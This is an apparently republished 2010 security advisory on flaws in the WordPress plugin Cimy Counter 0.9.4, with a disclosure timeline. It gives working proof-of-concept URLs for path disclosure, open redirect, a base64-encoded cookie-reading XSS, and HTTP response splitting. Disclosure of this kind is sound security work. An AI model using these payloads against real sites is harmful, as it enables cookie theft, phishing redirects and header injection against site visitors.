WordPress in Cimy Counter Multiple Vulnerability
Posted on 26 June 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>WordPress in Cimy Counter Multiple Vulnerability</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>================================================ WordPress in Cimy Counter Multiple Vulnerability ================================================ ----------------------------- Affected products: Cimy Counter 0.9.4 and previous versions. ----------------------------- Timeline: 20.04.2010 - found vulnerabilities. 28.04.2010 - announced at my site. 29.04.2010 - informed developer. 06.05.2010 - developer released Cimy Counter 0.9.5. In version 0.9.5 the author fixed all mentioned vulnerabilities except Redirector (aka URL Redirector Abuse in WASC TC v2). And I gave him addition argumentation to fix Redirector hole also. 24.06.2010 - disclosed at my site. ----------------------------- Details: These are Full path disclosure, Redirector, Cross-Site Scripting and HTTP Response Spitting vulnerabilities. Full path disclosure: http://site/wp-content/plugins/cimy-counter/cimy_counter.php http://site/wp-content/plugins/cimy-counter/cc_redirect.php?cc=Downloads&fn=%0A1 Redirector: http://site/wp-content/plugins/cimy-counter/cc_redirect.php?cc=Downloads&fn=http://websecurity.com.ua XSS: http://site/wp-content/plugins/cimy-counter/cc_redirect.php?cc=Downloads&fn=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2b HTTP Response Spitting: http://site/wp-content/plugins/cimy-counter/cc_redirect.php?cc=TestCounter&fn=%0AHeader:test Works at old versions of PHP. Best wishes & regards, MustLive Administrator of Websecurity web site http://websecurity.com.ua # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-06-26]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
